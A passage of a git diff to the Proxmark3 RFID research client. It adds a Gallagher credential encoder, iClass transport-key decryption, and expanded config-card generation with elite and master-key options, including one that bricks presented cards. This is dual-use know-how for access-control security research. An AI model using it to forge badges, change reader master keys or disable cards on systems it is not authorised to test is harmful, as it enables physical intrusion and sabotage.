1) { char *fptr = GenerateFilename(&card, "hf-fudan-", "-dump"); - if (fptr == NULL) + if (fptr == NULL) { return PM3_ESOFT; + } strcpy(dataFilename, fptr); free(fptr); @@ -404,14 +409,14 @@ static int CmdHFFudanWrBl(const char *Cmd) { PacketResponseNG resp; if (WaitForResponseTimeout(CMD_ACK, &resp, 1500) == false) { - PrintAndLogEx(FAILED, "Command execute timeout"); + PrintAndLogEx(FAILED, "command execution time out"); return PM3_ETIMEOUT; } uint8_t isok = resp.oldarg[0] & 0xff; if (isok) { PrintAndLogEx(SUCCESS, "Write ( " _GREEN_("ok") " )"); - PrintAndLogEx(HINT, "try `" _YELLOW_("hf fudan rdbl") "` to verify"); + PrintAndLogEx(HINT, "Hint: Try `" _YELLOW_("hf fudan rdbl") "` to verify"); } else { PrintAndLogEx(FAILED, "Write ( " _RED_("fail") " )"); } diff --git a/client/src/cmdhfgallagher.c b/client/src/cmdhfgallagher.c index 7f70e3245..5b018387c 100644 --- a/client/src/cmdhfgallagher.c +++ b/client/src/cmdhfgallagher.c @@ -60,7 +60,7 @@ int hfgal_diversify_key(uint8_t *site_key, uint8_t *uid, uint8_t uid_len, int res = mfdes_kdf_input_gallagher(uid, uid_len, key_num, aid, key_output, &kdf_input_len); PM3_RET_IF_ERR_WITH_MSG(res, "Failed generating Gallagher key diversification input"); - uint8_t key[sizeof(DEFAULT_SITE_KEY)]; + uint8_t key[sizeof(DEFAULT_SITE_KEY)] = {0}; if (site_key == NULL) { PrintAndLogEx(INFO, "hfgal_diversify_key is using default site key"); memcpy(key, DEFAULT_SITE_KEY, sizeof(key)); @@ -1088,8 +1088,8 @@ static int CmdGallagherClone(const char *cmd) { PM3_RET_IF_ERR_WITH_MSG(res, "Failed creating Gallagher credential file"); } - PrintAndLogEx(SUCCESS, "Done"); - PrintAndLogEx(HINT, "Hint: try " _YELLOW_("`hf gallagher reader`") " to verify"); + PrintAndLogEx(SUCCESS, "Done!"); + PrintAndLogEx(HINT, "Hint: Try `" _YELLOW_("hf gallagher reader") "` to verify"); return PM3_SUCCESS; } @@ -1169,8 +1169,8 @@ static int CmdGallagherDelete(const char *cmd) { PM3_RET_IF_ERR_WITH_MSG(res, "Failed deleting Gallagher application"); } - PrintAndLogEx(SUCCESS, "Done"); - PrintAndLogEx(HINT, "Hint: try " _YELLOW_("`hf gallagher reader`") " to verify"); + PrintAndLogEx(SUCCESS, "Done!"); + PrintAndLogEx(HINT, "Hint: Try `" _YELLOW_("hf gallagher reader") "` to verify"); return PM3_SUCCESS; } @@ -1245,7 +1245,7 @@ static int CmdGallagherDiversify(const char *cmd) { PrintAndLogEx(SUCCESS, "Successfully diversified key: " _GREEN_("%s"), key_str); if (IfPm3Iso14443()) { - PrintAndLogEx(HINT, "Hint: try " _YELLOW_("`hf mfdes auth --aid %06X --keyno %d --algo AES --key %s`") " to verify", + PrintAndLogEx(HINT, "Hint: Try `" _YELLOW_("hf mfdes auth --aid %06X --keyno %d --algo AES --key %s") "` to verify", aid, key_num, key_str @@ -1311,6 +1311,52 @@ static int CmdGallagherDecode(const char *cmd) { return PM3_SUCCESS; } +static int CmdGallagherEncode(const char *cmd) { + CLIParserContext *ctx; + CLIParserInit(&ctx, "hf gallagher encode", + "Encode a Gallagher credential block\n" + "Credential block can be specified with or without the bitwise inverse.", + "hf gallagher encode --rc 1 --fc 22153 --cn 1253518 --il 1" + ); + + void *argtable[] = { + arg_param_begin, + arg_u64_1("r", "rc", "", "Region code. 4 bits max"), + arg_u64_1("f", "fc", "", "Facility code. 2 bytes max"), + arg_u64_1("c", "cn", "", "Card number. 3 bytes max"), + arg_u64_1("i", "il", "", "Issue level. 4 bits max"), + arg_param_end + }; + CLIExecWithReturn(ctx, cmd, argtable, false); + + uint64_t region_code = arg_get_u64(ctx, 1); // uint4, input will be validated later + uint64_t facility_code = arg_get_u64(ctx, 2); // uint16 + uint64_t card_number = arg_get_u64(ctx, 3); // uint24 + uint64_t issue_level = arg_get_u64(ctx, 4); // uint4 + + CLIParserFree(ctx); + + GallagherCredentials_t creds = { + .region_code = region_code, + .facility_code = facility_code, + .card_number = card_number, + .issue_level = issue_level, + }; + + + uint8_t contents[16] = {0}; + + gallagher_encode_creds(contents, &creds); + for (int i = 0; i < 8; i++) { + contents[i + 8] = contents[i] ^ 0xFF; + } + + PrintAndLogEx(SUCCESS, "Raw: " _YELLOW_("%s"), sprint_hex_inrow(contents, ARRAYLEN(contents) / 2)); + PrintAndLogEx(SUCCESS, "Bitwise: " _YELLOW_("%s"), sprint_hex_inrow(contents, ARRAYLEN(contents))); + + return PM3_SUCCESS; +} + static command_t CommandTable[] = { {"help", CmdHelp, AlwaysAvailable, "This help"}, @@ -1319,6 +1365,7 @@ static command_t CommandTable[] = { {"delete", CmdGallagherDelete, IfPm3Iso14443, "Delete Gallagher credentials from a DESFire card"}, {"diversifykey", CmdGallagherDiversify, AlwaysAvailable, "Diversify Gallagher key"}, {"decode", CmdGallagherDecode, AlwaysAvailable, "Decode Gallagher credential block"}, + {"encode", CmdGallagherEncode, AlwaysAvailable, "Encode Gallagher credential block"}, {NULL, NULL, NULL, NULL} }; diff --git a/client/src/cmdhficlass.c b/client/src/cmdhficlass.c index 2c900fffc..d4bc1da45 100644 --- a/client/src/cmdhficlass.c +++ b/client/src/cmdhficlass.c @@ -40,14 +40,21 @@ #include "crypto/asn1utils.h" // ASN1 decoder #include "preferences.h" #include "generator.h" +#include "cmdhw.h" +#include "hidsio.h" +#define ICLASS_DEBIT_KEYTYPE ( 0x88 ) +#define ICLASS_CREDIT_KEYTYPE ( 0x18 ) + #define NUM_CSNS 9 #define MAC_ITEM_SIZE 24 // csn(8) + epurse(8) + nr(4) + mac(4) = 24 bytes #define ICLASS_KEYS_MAX 8 #define ICLASS_AUTH_RETRY 10 #define ICLASS_CFG_BLK_SR_BIT 0xA0 // indicates SIO present when set in block6[0] (legacy tags) -#define ICLASS_DECRYPTION_BIN "iclass_decryptionkey.bin" +#define ICLASS_DECRYPTION_BIN "iclass_decryptionkey.bin" +#define ICLASS_DEFAULT_KEY_DIC "iclass_default_keys.dic" +#define ICLASS_DEFAULT_KEY_ELITE_DIC "iclass_elite_keys.dic" static void print_picopass_info(const picopass_hdr_t *hdr); void print_picopass_header(const picopass_hdr_t *hdr); @@ -61,7 +68,6 @@ static uint8_t empty[PICOPASS_BLOCK_SIZE] = {0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, static uint8_t zeros[PICOPASS_BLOCK_SIZE] = {0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00}; static int CmdHelp(const char *Cmd); -static void print_iclass_sio(uint8_t *iclass_dump, size_t dump_len); static uint8_t iClass_Key_Table[ICLASS_KEYS_MAX][PICOPASS_BLOCK_SIZE] = { { 0xAE, 0xA6, 0x84, 0xA6, 0xDA, 0xB2, 0x32, 0x78 }, @@ -124,6 +130,70 @@ typedef enum { TRIPLEDES } BLOCK79ENCRYPTION; +// 16 bytes key +static int iclass_load_transport(uint8_t *key, uint8_t n) { + size_t keylen = 0; + uint8_t *keyptr = NULL; + int res = loadFile_safeEx(ICLASS_DECRYPTION_BIN, "", (void **)&keyptr, &keylen, false); + if (res != PM3_SUCCESS) { + PrintAndLogEx(INFO, "Couldn't find any decryption methods"); + return PM3_EINVARG; + } + + if (keylen != 16) { + PrintAndLogEx(ERR, "Failed to load transport key from file"); + free(keyptr); + return PM3_EINVARG; + } + + if (keylen != n) { + PrintAndLogEx(ERR, "Array size mismatch"); + free(keyptr); + return PM3_EINVARG; + } + + memcpy(key, keyptr, n); + free(keyptr); + return PM3_SUCCESS; +} + +static void iclass_decrypt_transport(uint8_t *key, uint8_t limit, uint8_t *enc_data, uint8_t *dec_data, BLOCK79ENCRYPTION aa1_encryption) { + + // tripledes + mbedtls_des3_context ctx; + mbedtls_des3_set2key_dec(&ctx, key); + + bool decrypted_block789 = false; + for (uint8_t i = 0; i < limit; ++i) { + + uint16_t idx = i * PICOPASS_BLOCK_SIZE; + + switch (aa1_encryption) { + // Right now, only 3DES is supported + case TRIPLEDES: + // Decrypt block 7,8,9 if configured. + if (i > 6 && i <= 9 && memcmp(enc_data + idx, empty, PICOPASS_BLOCK_SIZE) != 0) { + mbedtls_des3_crypt_ecb(&ctx, enc_data + idx, dec_data + idx); + decrypted_block789 = true; + } + break; + case DES: + case RFU: + case None: + // Nothing to do for None anyway... + default: + continue; + } + + if (decrypted_block789) { + // Set the 2 last bits of block6 to 0 to mark the data as decrypted + dec_data[(6 * PICOPASS_BLOCK_SIZE) + 7] &= 0xFC; + } + } + + mbedtls_des3_free(&ctx); +} + static inline uint32_t leadingzeros(uint64_t a) { #if defined __GNUC__ return __builtin_clzll(a); @@ -197,80 +267,92 @@ static uint8_t card_app2_limit[] = { 0xff, }; -static iclass_config_card_item_t iclass_config_types[13] = { - {"Audio/Visual #1 - Beep ON, LED Off, Flash GREEN on read", {0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xBF, 0x18, 0xAC, 0x00, 0xA8, 0x8F, 0xA7, 0x80, 0xA9, 0x01}}, - {"Audio/Visual #2 - Beep ON, LED RED, Host must flash GREEN", {0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x87, 0x18, 0xAC, 0x00, 0xA8, 0x1F, 0xA7, 0x80, 0xA9, 0x01}}, - {"Audio/Visual #3 - Beep ON, LED Off, Host must flash RED and/or GREEN", {0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xBF, 0x18, 0xAC, 0x00, 0xA8, 0x0F, 0xA9, 0x03, 0xA7, 0x80}}, - {"Keypad Output #1 - Buffer ONE key (8 bit Dorado)", {0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xBF, 0x18, 0xAE, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00}}, - {"Keypad Output #2 - Buffer ONE to FIVE keys (standard 26 bit)", {0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xBF, 0x18, 0xAE, 0x0B, 0xAF, 0xFF, 0xAD, 0x15, 0xB3, 0x03}}, - {"Keypad Output #3 - Local PIN verify", {0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xBF, 0x18, 0xAD, 0x6D, 0xB3, 0x03, 0x00, 0x00, 0x00, 0x00}}, - {"Mifare CSN #1 - 32 bit reverse output", {0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xBF, 0x18, 0xAC, 0x01, 0xA7, 0x80, 0xA8, 0x9F, 0xA9, 0x01}}, - {"Mifare CSN #2 - 16 bit output", {0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xBF, 0x18, 0xAC, 0x02, 0xA7, 0x80, 0xA8, 0x9F, 0xA9, 0x01}}, - {"Mifare CSN #3 - 34 bit output", {0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xBF, 0x18, 0xAC, 0x03, 0xA7, 0x80, 0xA8, 0x9F, 0xA9, 0x01}}, - {"Keyroll DISABLE - Set ELITE Key and DISABLE Keyrolling", {0x0C, 0x00, 0x00, 0x01, 0x00, 0x00, 0xBF, 0x18, 0xBF, 0x01, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF}}, - {"Keyroll ENABLE - Set ELITE Key and ENABLE Keyrolling", {0x0C, 0x00, 0x00, 0x01, 0x00, 0x00, 0xBF, 0x18, 0xBF, 0x03, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF}}, - {"Reset READER - Reset READER to defaults", {0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x1C, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00}}, - {"Reset ENROLLER - Reset ENROLLER to defaults", {0x06, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x1C, 0xFF, 0xFF, 0xFF, 0xFF, 0x00, 0xFF, 0xFF, 0xFF}} +static iclass_config_card_item_t iclass_config_options[33] = { + //Byte A8 - LED Operations + {"(LED) - Led idle (Off) / Led read (Off)", {0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xBF, 0x18, 0xA8, 0x0F, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00}}, + {"(LED) - Led idle (Red) / Led read (Off)", {0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xBF, 0x18, 0xA8, 0x1F, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00}}, + {"(LED) - Led idle (Grn) / Led read (Off)", {0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xBF, 0x18, 0xA8, 0x2F, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00}}, + {"(LED) - Led idle (Amber) / Led read (Off)", {0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xBF, 0x18, 0xA8, 0x3F, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00}}, + {"(LED) - Led idle (Off) / Led read (Red)", {0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xBF, 0x18, 0xA8, 0x4F, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00}}, + {"(LED) - Led idle (Red) / Led read (Red)", {0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xBF, 0x18, 0xA8, 0x5F, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00}}, + {"(LED) - Led idle (Grn) / Led read (Red)", {0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xBF, 0x18, 0xA8, 0x6F, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00}}, + {"(LED) - Led idle (Amber) / Led read (Red)", {0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xBF, 0x18, 0xA8, 0x7F, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00}}, + {"(LED) - Led idle (Off) / Led read (Grn)", {0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xBF, 0x18, 0xA8, 0x8F, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00}}, + {"(LED) - Led idle (Red) / Led read (Grn)", {0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xBF, 0x18, 0xA8, 0x9F, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00}}, + {"(LED) - Led idle (Grn) / Led read (Grn)", {0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xBF, 0x18, 0xA8, 0xAF, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00}}, + {"(LED) - Led idle (Amber) / Led read (Red)", {0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xBF, 0x18, 0xA8, 0xBF, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00}}, + {"(LED) - Led idle (Off) / Led read (Amber)", {0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xBF, 0x18, 0xA8, 0xCF, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00}}, + {"(LED) - Led idle (Red) / Led read (Amber)", {0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xBF, 0x18, 0xA8, 0xDF, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00}}, + {"(LED) - Led idle (Grn) / Led read (Amber)", {0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xBF, 0x18, 0xA8, 0xEF, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00}}, + {"(LED) - Led idle (Amber) / Led read (Amber)", {0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xBF, 0x18, 0xA8, 0xFF, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00}}, + //Byte A9 - Potentially associated with led blinking / led heartbeat operations? + //Byte A6 - Potentially associated with beep pitch? + //Byte A7 - BEEP Operations + {"(BEEP) - Beep on Read (On)", {0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xBF, 0x18, 0xA7, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00}}, + {"(BEEP) - Beep on Read (Off)", {0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xBF, 0x18, 0xA7, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00}}, + //Byte AC - MIFARE CSN Operations + {"(MIFARE) - CSN Default Output", {0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xBF, 0x18, 0xAC, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00}}, + {"(MIFARE) - CSN 32 bit Reverse Output", {0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xBF, 0x18, 0xAC, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00}}, + {"(MIFARE) - CSN 16 bit Output", {0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xBF, 0x18, 0xAC, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00}}, + {"(MIFARE) - CSN 34 bit Output", {0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xBF, 0x18, 0xAC, 0x03, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00}}, + //Bytes AD, AE, AF, B3 - Keypad Operations + not fully mapped + {"(KEYPAD Output) - Buffer ONE key (8 bit Dorado)", {0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xBF, 0x18, 0xAE, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00}}, + {"(KEYPAD Output) - Buffer ONE to FIVE keys (standard 26 bit)", {0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xBF, 0x18, 0xAE, 0x0B, 0xAF, 0xFF, 0xAD, 0x15, 0xB3, 0x03}}, + {"(KEYPAD Output) - Local PIN verify", {0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xBF, 0x18, 0xAD, 0x6D, 0xB3, 0x03, 0x00, 0x00, 0x00, 0x00}}, + //iClass Elite Key Operations + {"(ELITE Key) - Set ELITE Key and Enable Dual key (Elite + Standard)", {0x0C, 0x00, 0x00, 0x01, 0x00, 0x00, 0xBF, 0x18, 0xBF, 0x01, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF}}, + {"(ELITE Key) - Set ELITE Key and ENABLE Keyrolling", {0x0C, 0x00, 0x00, 0x01, 0x00, 0x00, 0xBF, 0x18, 0xBF, 0x03, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF}}, + {"(ELITE Key) - Set ELITE Key and DISABLE Standard Key", {0x0C, 0x00, 0x00, 0x01, 0x00, 0x00, 0xBF, 0x18, 0xBF, 0x05, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF}}, + //Erroneous / incorrect reader behaviors (read below) + //Elite Bugger: + //Sets block 3 of card 0 presented to the reader to 0, sets block 3 of card 1 presented to the reader to the original value of card 0's block 3 + //Continues setting block 3 of presented cards to block 3 of the previous card the reader scanned + //This renders cards unreadable and hardly recoverable unless the order of the scanned cards is known. + {"(ELITE Bugger) - Renders cards unusable.", {0x0C, 0x00, 0x00, 0x01, 0x00, 0x00, 0xBF, 0x18, 0xBF, 0x02, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF}}, + //Reset Operations + {"(RESET) - Reset READER to defaults", {0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x1C, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00}}, + {"(RESET) - Reset ENROLLER to defaults", {0x06, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x1C, 0xFF, 0xFF, 0xFF, 0xFF, 0x00, 0xFF, 0xFF, 0xFF}}, + //Reader Master Key Operations + {"(MASTER Key) - Change Reader Master Key to Custom Key", {0x28, 0xCB, 0x91, 0x9D, 0x00, 0x00, 0x00, 0x1C, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00}}, + {"(MASTER Key) - Restore Reader Master Key to Factory Defaults", {0x28, 0xCB, 0x91, 0x9D, 0x00, 0x00, 0x00, 0x1C, 0xE0, 0x5C, 0x91, 0xCF, 0x63, 0x34, 0x23, 0xB9}} }; -static bool check_config_card(const iclass_config_card_item_t *o) { - if (o == NULL || strlen(o->desc) == 0) { - PrintAndLogEx(INFO, "No data available"); - PrintAndLogEx(HINT, "Try `" _YELLOW_("hf iclass config -l") "` to download from cardhelper"); - return false; - } - return true; -} - -static int load_config_cards(void) { - PrintAndLogEx(INFO, "detecting cardhelper..."); - if (IsCardHelperPresent(false) == false) { - PrintAndLogEx(FAILED, "failed to detect cardhelper"); - return PM3_ENODATA; - } - - for (int i = 0; i < ARRAYLEN(iclass_config_types); ++i) { - - PrintAndLogEx(INPLACE, "loading setting %i", i); - iclass_config_card_item_t *ret = &iclass_config_types[i]; - - uint8_t desc[70] = {0}; - if (GetConfigCardStrByIdx(i, desc) == PM3_SUCCESS) { - memcpy(ret->desc, desc, sizeof(desc)); - } - - uint8_t blocks[16] = {0}; - if (GetConfigCardByIdx(i, blocks) == PM3_SUCCESS) { - memcpy(ret->data, blocks, sizeof(blocks)); - } - } - PrintAndLogEx(NORMAL, ""); - PrintAndLogEx(HINT, "Try `" _YELLOW_("hf iclass configcard -p") "` to list all"); - return PM3_SUCCESS; -} - static const iclass_config_card_item_t *get_config_card_item(int idx) { - if (idx > -1 && idx < 14) { - return &iclass_config_types[idx]; + if (idx > -1 && idx < ARRAYLEN(iclass_config_options)) { + return &iclass_config_options[idx]; } - return &iclass_config_types[13]; + return &iclass_config_options[ARRAYLEN(iclass_config_options)]; } static void print_config_cards(void) { - if (check_config_card(&iclass_config_types[0])) { - PrintAndLogEx(INFO, "---- " _CYAN_("Config cards available") " ------------"); - for (int i = 0; i < ARRAYLEN(iclass_config_types) ; ++i) { - PrintAndLogEx(INFO, "%2d, %s", i, iclass_config_types[i].desc); + PrintAndLogEx(INFO, "---- " _CYAN_("Config cards options") " ------------"); + for (int i = 0; i < ARRAYLEN(iclass_config_options) ; ++i) { + switch (i) { + case 0: + PrintAndLogEx(INFO, _YELLOW_("---- LED Operations ----")); + break; + case 16: + PrintAndLogEx(INFO, _YELLOW_("---- BEEP Operations ----")); + break; + case 18: + PrintAndLogEx(INFO, _YELLOW_("---- Mifare Operations ----")); + break; + case 22: + PrintAndLogEx(INFO, _YELLOW_("---- Keypad Operations ----")); + break; + case 25: + PrintAndLogEx(INFO, _YELLOW_("---- iClass Operations ----")); + break; + case 29: + PrintAndLogEx(INFO, _YELLOW_("---- Reset Operations ----")); + break; + case 31: + PrintAndLogEx(INFO, _YELLOW_("---- iClass Master Key Operations ----")); + break; } - PrintAndLogEx(NORMAL, ""); - } -} - -static void print_config_card(const iclass_config_card_item_t *o) { - if (check_config_card(o)) { - PrintAndLogEx(INFO, "description... " _YELLOW_("%s"), o->desc); - PrintAndLogEx(INFO, "data.......... " _YELLOW_("%s"), sprint_hex_inrow(o->data, sizeof(o->data))); + PrintAndLogEx(INFO, "%2d, %s", i, iclass_config_options[i].desc); } + PrintAndLogEx(NORMAL, ""); } static void iclass_encrypt_block_data(uint8_t *blk_data, uint8_t *key) { @@ -283,10 +365,7 @@ static void iclass_encrypt_block_data(uint8_t *blk_data, uint8_t *key) { mbedtls_des3_free(&ctx); } -static int generate_config_card(const iclass_config_card_item_t *o, uint8_t *key, bool got_kr) { - if (check_config_card(o) == false) { - return PM3_EINVARG; - } +static int generate_config_card(const iclass_config_card_item_t *o, uint8_t *key, bool got_kr, uint8_t *card_key, bool got_eki, bool use_elite, bool got_mk, uint8_t *master_key) { // generated config card header picopass_hdr_t configcard; @@ -294,8 +373,13 @@ static int generate_config_card(const iclass_config_card_item_t *o, uint8_t *ke memcpy(configcard.csn, "\x41\x87\x66\x00\xFB\xFF\x12\xE0", 8); memcpy(&configcard.conf, "\xFF\xFF\xFF\xFF\xF9\xFF\xFF\xBC", 8); memcpy(&configcard.epurse, "\xFE\xFF\xFF\xFF\xFF\xFF\xFF\xFF", 8); - // defaulting to known AA1 key - HFiClassCalcDivKey(configcard.csn, iClass_Key_Table[0], configcard.key_d, false); + + if (got_eki) { + HFiClassCalcDivKey(configcard.csn, card_key, configcard.key_d, use_elite); + } else { + // defaulting to AA1 ki 0 + HFiClassCalcDivKey(configcard.csn, iClass_Key_Table[0], configcard.key_d, use_elite); + } // reference picopass_hdr_t *cc = &configcard; @@ -306,11 +390,17 @@ static int generate_config_card(const iclass_config_card_item_t *o, uint8_t *ke if (res == PM3_SUCCESS) { cc = &iclass_last_known_card; // calc diversified key for selected card - HFiClassCalcDivKey(cc->csn, iClass_Key_Table[0], cc->key_d, false); + if (got_eki) { + HFiClassCalcDivKey(cc->csn, card_key, cc->key_d, use_elite); + } else { + // defaulting to AA1 ki 0 + HFiClassCalcDivKey(cc->csn, iClass_Key_Table[0], cc->key_d, use_elite); + } } else { PrintAndLogEx(FAILED, "failed to read a card"); PrintAndLogEx(INFO, "falling back to default config card"); } + PrintAndLogEx(INFO, "Generating "_YELLOW_("%s"), o->desc); // generate dump file uint8_t app1_limit = cc->conf.app_limit; @@ -322,19 +412,38 @@ static int generate_config_card(const iclass_config_card_item_t *o, uint8_t *ke // normal size uint8_t *data = calloc(1, tot_bytes); if (data == NULL) { - PrintAndLogEx(FAILED, "failed to allocate memory"); + PrintAndLogEx(WARNING, "Failed to allocate memory"); return PM3_EMALLOC; } memcpy(data, cc, sizeof(picopass_hdr_t)); print_picopass_header(cc); + // KEYROLL need to encrypt + uint8_t key_en[16] = {0}; + uint8_t *keyptr_en = NULL; + size_t keylen = 0; + int res_key = loadFile_safe(ICLASS_DECRYPTION_BIN, "", (void **)&keyptr_en, &keylen); + if (res_key != PM3_SUCCESS) { + PrintAndLogEx(ERR, "Failed to find iclass_decryptionkey.bin"); + free(data); + return PM3_EINVARG; + } + + if (keylen != 16) { + PrintAndLogEx(ERR, "Failed to load transport key from file"); + free(keyptr_en); + free(data); + return PM3_EINVARG; + } + memcpy(key_en, keyptr_en, sizeof(key_en)); + free(keyptr_en); // Keyrolling configuration cards are special. - if (strstr(o->desc, "Keyroll") != NULL) { + if (strstr(o->desc, "ELITE") != NULL) { if (got_kr == false) { - PrintAndLogEx(ERR, "please specify KEYROLL key!"); + PrintAndLogEx(ERR, "please specify ELITE key!"); free(data); return PM3_EINVARG; } @@ -349,7 +458,7 @@ static int generate_config_card(const iclass_config_card_item_t *o, uint8_t *ke uint8_t *p = realloc(data, tot_bytes); if (p == NULL) { - PrintAndLogEx(FAILED, "failed to allocate memory"); + PrintAndLogEx(WARNING, "Failed to allocate memory"); free(data); return PM3_EMALLOC; } @@ -361,28 +470,6 @@ static int generate_config_card(const iclass_config_card_item_t *o, uint8_t *ke bool old = GetFlushAfterWrite(); SetFlushAfterWrite(true); - // KEYROLL need to encrypt - uint8_t key_en[16] = {0}; - uint8_t *keyptr_en = NULL; - if (IsCardHelperPresent(false) == false) { - size_t keylen = 0; - int res_key = loadFile_safe(ICLASS_DECRYPTION_BIN, "", (void **)&keyptr_en, &keylen); - if (res_key != PM3_SUCCESS) { - PrintAndLogEx(ERR, "Failed to find iclass_decryptionkey.bin"); - free(data); - return PM3_EINVARG; - } - - if (keylen != 16) { - PrintAndLogEx(ERR, "Failed to load transport key from file"); - free(keyptr_en); - free(data); - return PM3_EINVARG; - } - memcpy(key_en, keyptr_en, sizeof(key_en)); - free(keyptr_en); - } - PrintAndLogEx(INFO, "Setting up encryption... " NOLF); uint8_t ffs[8] = {0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF}; if (IsCardHelperPresent(false) != false) { @@ -423,11 +510,15 @@ static int generate_config_card(const iclass_config_card_item_t *o, uint8_t *ke memcpy(data + (0x0D * 8), lkey, sizeof(enckey1)); } // encrypted 0xFF - for (uint8_t i = 0x0E; i < 0x14; i++) { + for (uint8_t i = 0x0E; i < 0x13; i++) { memcpy(data + (i * 8), ffs, sizeof(ffs)); } PrintAndLogEx(NORMAL, "( " _GREEN_("ok") " )"); + //Block 13 (This is needed for Rev.C readers!) + uint8_t block_0x13[PICOPASS_BLOCK_SIZE] = {0x03, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x1C}; + memcpy(data + (0x13 * 8), block_0x13, sizeof(block_0x13)); + // encrypted partial keyroll key 14 PrintAndLogEx(INFO, "Setting encrypted partial key14... " NOLF); uint8_t foo[8] = {0x15}; @@ -478,6 +569,15 @@ static int generate_config_card(const iclass_config_card_item_t *o, uint8_t *ke } else { memcpy(data, cc, sizeof(picopass_hdr_t)); memcpy(data + (6 * 8), o->data, sizeof(o->data)); + if (strstr(o->desc, "Custom") != NULL) { + if (got_mk == false) { + PrintAndLogEx(ERR, "please specify New Master Key!"); + free(data); + return PM3_EINVARG; + } + iclass_encrypt_block_data(master_key, key_en); + memcpy(data + (0x07 * 8), master_key, PICOPASS_BLOCK_SIZE); + } } //Send to device @@ -488,8 +588,8 @@ static int generate_config_card(const iclass_config_card_item_t *o, uint8_t *ke PrintAndLogEx(NORMAL, ""); PrintAndLogEx(SUCCESS, "sent " _YELLOW_("%u") " bytes of data to device emulator memory", bytes_sent); - PrintAndLogEx(HINT, "Try `" _YELLOW_("hf iclass eview") "` to view dump file"); - PrintAndLogEx(HINT, "Try `" _YELLOW_("hf iclass sim -t 3") "` to start simulating config card"); + PrintAndLogEx(HINT, "Hint: Try `" _YELLOW_("hf iclass eview") "` to view dump file"); + PrintAndLogEx(HINT, "Hint: Try `" _YELLOW_("hf iclass sim -t 3") "` to start simulating config card"); return PM3_SUCCESS; } @@ -509,14 +609,14 @@ static void fuse_config(const picopass_hdr_t *hdr) { uint16_t otp = (hdr->conf.otp[1] << 8 | hdr->conf.otp[0]); - PrintAndLogEx(INFO, " Raw... " _YELLOW_("%s"), sprint_hex((uint8_t *)&hdr->conf, 8)); - PrintAndLogEx(INFO, " " _YELLOW_("%02X") " ( %3u )............. app limit", hdr->conf.app_limit, hdr->conf.app_limit); 